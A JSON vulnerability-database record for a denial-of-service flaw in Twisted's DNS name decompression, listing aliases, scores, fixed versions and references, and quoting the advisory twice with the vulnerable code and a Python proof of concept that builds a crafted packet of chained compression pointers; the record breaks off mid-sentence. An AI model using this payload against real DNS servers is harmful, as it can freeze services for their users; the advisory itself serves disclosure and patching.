{"id":"CVE-2026-42304","aliases":["AZL-86751","BELL-CVE-2026-42304","CLSA-2026-1786360302","DEBIAN-CVE-2026-42304","EUVD-2026-30158","GHSA-grgv-6hw6-v9g4","OESA-2026-2367","OESA-2026-2368","OESA-2026-2369","OESA-2026-2370","OESA-2026-2488","PYSEC-2026-160","SUSE-SU-2026:22004-1","SUSE-SU-2026:2218-1","SUSE-SU-2026:2219-1","UBUNTU-CVE-2026-42304","USN-8380-1","openSUSE-SU-2026:10759-1","openSUSE-SU-2026:20862-1"],"status":"published","title":"Twisted: Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00433,"percentile":0.38036,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-407"],"published":"2026-05-05T21:12:37Z","modified":"2026-11-05T05:40:51Z","fixes":[{"ecosystem":"PyPI","package":"twisted","fixed_in":["26.4.0rc2","26.4.0"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"python-twisted","fixed_in":["22.10.0-5"],"sources":["osv"]},{"ecosystem":"Alpaquita:23","package":"py3-twisted","fixed_in":["22.10.0-r2"],"sources":["osv"]},{"ecosystem":"Alpaquita:25","package":"py3-twisted","fixed_in":["24.11.0-r1"],"sources":["osv"]},{"ecosystem":"Alpaquita:stream","package":"py3-twisted","fixed_in":["26.4.0-r0"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"twisted","fixed_in":["26.4.0-1"],"sources":["osv"]},{"ecosystem":"openEuler:20.03-LTS-SP4","package":"python-twisted","fixed_in":["22.4.0-5.oe2003sp4"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP4","package":"python-twisted","fixed_in":["22.4.0-5.oe2203sp4"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS","package":"python-twisted","fixed_in":["22.10.0-5.oe2403"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP3","package":"python-twisted","fixed_in":["22.10.0-5.oe2403sp3"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-twisted","fixed_in":["22.10.0-5.oe2403sp1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-Twisted","fixed_in":["24.10.0-160000.3.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-Twisted","fixed_in":["24.10.0-160000.3.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"twisted","fixed_in":["22.1.0-2ubuntu2.7"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"twisted","fixed_in":["24.3.0-1ubuntu0.2"],"sources":["osv"]},{"ecosystem":"Ubuntu:25.10","package":"twisted","fixed_in":["24.11.0-1ubuntu0.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"twisted","fixed_in":["25.5.0-5ubuntu0.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-Twisted","fixed_in":["26.4.0-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.5.0"},{"fixed":"26.4.0rc2"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-5"}]}]},{"source":"osv","ecosystem":"Alpaquita:23","package":"py3-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"22.10.0-r1"},{"fixed":"22.10.0-r2"}]}]},{"source":"osv","ecosystem":"Alpaquita:25","package":"py3-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"24.11.0-r0"},{"fixed":"24.11.0-r1"}]}]},{"source":"osv","ecosystem":"Alpaquita:stream","package":"py3-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"22.10.0-r0"},{"fixed":"26.4.0-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.3.0"},{"fixed":"20.3.0.post5+tuxcare"}]}],"versions":["20.3.0","20.3.0.post4+tuxcare"],"bundled":3},{"source":"osv","ecosystem":"Debian:12","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["22.4.0-4","22.4.0-4+deb12u1","23.10.0-1","23.10.0-2","24.10.0-1","24.10.0-2","24.11.0-1","24.3.0-1","24.3.0-2","24.3.0-3","24.7.0-1","24.7.0-2","24.7.0-3","25.5.0-1","25.5.0-2","25.5.0-3","25.5.0-4","25.5.0-5","26.4.0-1","26.4.0-2","26.4.0-3","26.4.0-4"]},{"source":"osv","ecosystem":"Debian:13","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["24.11.0-1","25.5.0-1","25.5.0-2","25.5.0-3","25.5.0-4","25.5.0-5","26.4.0-1","26.4.0-2","26.4.0-3","26.4.0-4"]},{"source":"osv","ecosystem":"Debian:14","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.4.0-1"}]}],"versions":["24.11.0-1","25.5.0-1","25.5.0-2","25.5.0-3","25.5.0-4","25.5.0-5"]},{"source":"osv","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.4.0rc2"}]}],"versions":["1.0.1","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.2.0","10.0.0","10.1.0","10.2.0","11.0.0","11.1.0","12.0.0","12.1.0","12.2.0","12.3.0","13.0.0","13.1.0","13.2.0","14.0.0","14.0.1","14.0.2","15.0.0","15.1.0","15.2.0","15.2.1","15.3.0","15.4.0","15.5.0","16.0.0","16.1.0","16.1.1","16.2.0","16.3.0","16.3.1","16.3.2","16.4.0","16.4.1","16.5.0","16.5.0rc1","16.5.0rc2","16.6.0","16.6.0rc1","16.7.0rc1","16.7.0rc2","17.1.0","17.1.0rc1","17.5.0","17.9.0","17.9.0rc1","18.4.0","18.4.0rc1","18.7.0","18.7.0rc1","18.7.0rc2","18.9.0","18.9.0rc1","19.10.0","19.10.0rc1","19.2.0","19.2.0rc1","19.2.0rc2","19.2.1","19.7.0","19.7.0rc1","2.1.0","2.4.0","2.5.0","20.3.0","20.3.0rc1","21.2.0","21.2.0rc1","21.7.0","21.7.0rc1","21.7.0rc2","21.7.0rc3","22.1.0","22.1.0rc1","22.10.0","22.10.0rc1","22.2.0","22.2.0rc1","22.4.0","22.4.0rc1","22.8.0","22.8.0rc1","23.10.0","23.10.0rc1","23.8.0","23.8.0rc1","24.10.0","24.10.0rc1","24.11.0","24.11.0rc1","24.11.0rc2","24.2.0rc1","24.3.0","24.7.0","24.7.0rc1","24.7.0rc2","25.5.0","25.5.0rc1","8.0.0","8.0.1","8.1.0","8.2.0","9.0.0"]},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.4.0-5.oe2003sp4"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.4.0-5.oe2203sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-5.oe2403"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-5.oe2403sp3"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-5.oe2403sp1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.4.0"}]}],"versions":["1.0.1","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.2.0","10.0.0","10.1.0","10.2.0","11.0.0","11.1.0","12.0.0","12.1.0","12.2.0","12.3.0","13.0.0","13.1.0","13.2.0","14.0.0","14.0.1","14.0.2","15.0.0","15.1.0","15.2.0","15.2.1","15.3.0","15.4.0","15.5.0","16.0.0","16.1.0","16.1.1","16.2.0","16.3.0","16.3.1","16.3.2","16.4.0","16.4.1","16.5.0","16.5.0rc1","16.5.0rc2","16.6.0","16.6.0rc1","16.7.0rc1","16.7.0rc2","17.1.0","17.1.0rc1","17.5.0","17.9.0","17.9.0rc1","18.4.0","18.4.0rc1","18.7.0","18.7.0rc1","18.7.0rc2","18.9.0","18.9.0rc1","19.10.0","19.10.0rc1","19.2.0","19.2.0rc1","19.2.0rc2","19.2.1","19.7.0","19.7.0rc1","2.1.0","2.4.0","2.5.0","20.3.0","20.3.0rc1","21.2.0","21.2.0rc1","21.7.0","21.7.0rc1","21.7.0rc2","21.7.0rc3","22.1.0","22.1.0rc1","22.10.0","22.10.0rc1","22.2.0","22.2.0rc1","22.4.0","22.4.0rc1","22.8.0","22.8.0rc1","23.10.0","23.10.0rc1","23.8.0","23.8.0rc1","24.10.0","24.10.0rc1","24.11.0","24.11.0rc1","24.11.0rc2","24.2.0rc1","24.3.0","24.7.0","24.7.0rc1","24.7.0rc2","25.5.0","25.5.0rc1","26.4.0rc2","8.0.0","8.0.1","8.1.0","8.2.0","9.0.0"]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.10.0-160000.3.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.10.0-160000.3.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["13.0.0-1ubuntu1","13.2.0-1ubuntu1","13.2.0-1ubuntu1.2","13.2.0-1ubuntu1.2+esm1","13.2.0-1ubuntu1.2+esm2","13.2.0-1ubuntu1.2+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["15.2.1-1ubuntu2","15.5.0-1","15.5.0-2","15.5.0-2ubuntu1","15.5.0-4","16.0.0~pre1-1","16.0.0~pre1-1ubuntu1","16.0.0~pre1-2ubuntu1","16.0.0~pre1-3","16.0.0-1","16.0.0-1ubuntu0.2","16.0.0-1ubuntu0.4","16.0.0-1ubuntu0.4+esm1","16.0.0-1ubuntu0.4+esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["16.6.0-2ubuntu3","17.9.0-1","17.9.0-2","17.9.0-2ubuntu0.1","17.9.0-2ubuntu0.3","17.9.0-2ubuntu0.3+esm1","17.9.0-2ubuntu0.3+esm2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["18.9.0-3ubuntu1","18.9.0-5","18.9.0-6","18.9.0-6build1","18.9.0-6ubuntu1","18.9.0-8","18.9.0-11","18.9.0-11ubuntu0.20.04.1","18.9.0-11ubuntu0.20.04.2","18.9.0-11ubuntu0.20.04.3","18.9.0-11ubuntu0.20.04.4","18.9.0-11ubuntu0.20.04.5"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.1.0-2ubuntu2.7"}]}],"versions":["20.3.0-7ubuntu1","20.3.0-7ubuntu3","22.1.0-2ubuntu2","22.1.0-2ubuntu2.1","22.1.0-2ubuntu2.3","22.1.0-2ubuntu2.4","22.1.0-2ubuntu2.5","22.1.0-2ubuntu2.6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.3.0-1ubuntu0.2"}]}],"versions":["22.4.0-4","22.4.0-4ubuntu1","23.10.0-2","24.3.0-1","24.3.0-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.11.0-1ubuntu0.1"}]}],"versions":["24.11.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"25.5.0-5ubuntu0.1"}]}],"versions":["24.11.0-1","25.5.0-4","25.5.0-5"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.1.0-2ubuntu2.7"}]}],"versions":["20.3.0-7ubuntu1","20.3.0-7ubuntu3","22.1.0-2ubuntu2","22.1.0-2ubuntu2.1","22.1.0-2ubuntu2.3","22.1.0-2ubuntu2.4","22.1.0-2ubuntu2.5","22.1.0-2ubuntu2.6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.3.0-1ubuntu0.2"}]}],"versions":["22.4.0-4","22.4.0-4ubuntu1","23.10.0-2","24.3.0-1","24.3.0-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.11.0-1ubuntu0.1"}]}],"versions":["24.11.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"25.5.0-5ubuntu0.1"}]}],"versions":["24.11.0-1","25.5.0-4","25.5.0-5"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.4.0-1.1"}]}]}],"products":[{"vendor":"twisted","product":"twisted"}],"references":[{"url":"https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42304","tags":["web","advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-grgv-6hw6-v9g4"},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-42304","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42304.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-42304","tags":["advisory"]},{"url":"https://github.com/twisted/twisted","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2367","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2368","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2369","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2370","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2488","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622004-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1265265","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42304","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262218-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262219-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-42304","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42304","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8380-1","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-42304","title":"Twisted: Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","status":"published","published":"2026-05-13T20:20:29.149Z","modified":"2026-05-14T15:45:34.746Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T13:40:35.004553Z"}],"euvd":[{"id":"EUVD-2026-30158","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","status":"published","published":"2026-05-13T20:20:29Z","modified":"2026-05-14T15:45:34Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:04:31.113278Z"}],"ghsa":[{"id":"GHSA-grgv-6hw6-v9g4","title":"Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains","description":"### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n##  src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n        visited = set()\n        self.name = b\"\"\n        off = 0\n        while 1:\n            l = ord(readPrecisely(strio, 1))\n            if l == 0:\n                if off \u003e 0:\n                    strio.seek(off)\n                return\n            if (l \u003e\u003e 6) == 3:\n                new_off = (l \u0026 63) \u003c\u003c 8 | ord(readPrecisely(strio, 1))\n                if new_off in visited:\n                    raise ValueError(\"Compression loop in encoded name\")\n                visited.add(new_off)\n                if off == 0:\n                    off = strio.tell()\n                strio.seek(new_off)\n                continue\n            label = readPrecisely(strio, l)\n            if self.name == b\"\":\n                self.name = label\n            else:\n                self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n    num_pointers = 8000\n    packet_length = 65533\n    num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n    buffer = bytearray(packet_length)\n\n    struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n    ptr_offset = 12\n    for _ in range(num_pointers - 1):\n        struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n        ptr_offset += 2\n\n    null_byte_offset = ptr_offset + 2\n    struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n    buffer[null_byte_offset] = 0\n\n    question_offset = null_byte_offset + 1\n    for _ in range(num_questions):\n        if question_offset + 6 \u003c= packet_length:\n            struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n            question_offset += 6\n\n    return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n    factory = server.DNSServerFactory(clients=[])\n    protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n    transport = proto_helpers.StringTransport()\n    protocol.makeConnection(transport)\n\n    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n    print(\"payload\")\n    print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n    start = time.time()\n    protocol.dataReceived(payload)\n    end = time.time()\n\n    print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n    test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati","status":"published","published":"2026-05-05T21:12:37Z","modified":"2026-06-08T20:05:10Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T14:40:20.187636Z"}],"nvd":[{"id":"CVE-2026-42304","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","status":"published","published":"2026-05-13T21:16:46.933Z","modified":"2026-11-11T20:10:00.273Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-11T21:26:15.366289Z"}],"osv":[{"id":"BELL-CVE-2026-42304","status":"published","published":"2026-05-21T06:10:48.120525Z","modified":"2026-05-28T07:15:04.820970011Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:28:23.844435Z"},{"id":"CVE-2026-42304","title":"Twisted: Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","status":"published","published":"2026-05-13T20:20:29.149Z","modified":"2026-10-28T02:30:54.89770537Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"DEBIAN-CVE-2026-42304","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.","status":"published","published":"2026-05-13T21:16:46.933Z","modified":"2026-10-01T03:03:12.392619911Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:54.892385Z"},{"id":"GHSA-grgv-6hw6-v9g4","title":"Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains","description":"### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n##  src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n        visited = set()\n        self.name = b\"\"\n        off = 0\n        while 1:\n            l = ord(readPrecisely(strio, 1))\n            if l == 0:\n                if off \u003e 0:\n                    strio.seek(off)\n                return\n            if (l \u003e\u003e 6) == 3:\n                new_off = (l \u0026 63) \u003c\u003c 8 | ord(readPrecisely(strio, 1))\n                if new_off in visited:\n                    raise ValueError(\"Compression loop in encoded name\")\n                visited.add(new_off)\n                if off == 0:\n                    off = strio.tell()\n                strio.seek(new_off)\n                continue\n            label = readPrecisely(strio, l)\n            if self.name == b\"\":\n                self.name = label\n            else:\n                self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n    num_pointers = 8000\n    packet_length = 65533\n    num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n    buffer = bytearray(packet_length)\n\n    struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n    ptr_offset = 12\n    for _ in range(num_pointers - 1):\n        struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n        ptr_offset += 2\n\n    null_byte_offset = ptr_offset + 2\n    struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n    buffer[null_byte_offset] = 0\n\n    question_offset = null_byte_offset + 1\n    for _ in range(num_questions):\n        if question_offset + 6 \u003c= packet_length:\n            struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n            question_offset += 6\n\n    return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n    factory = server.DNSServerFactory(clients=[])\n    protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n    transport = proto_helpers.StringTransport()\n    protocol.makeConnection(transport)\n\n    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n    print(\"payload\")\n    print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n    start = time.time()\n    protocol.dataReceived(payload)\n    end = time.time()\n\n    print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n    test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to 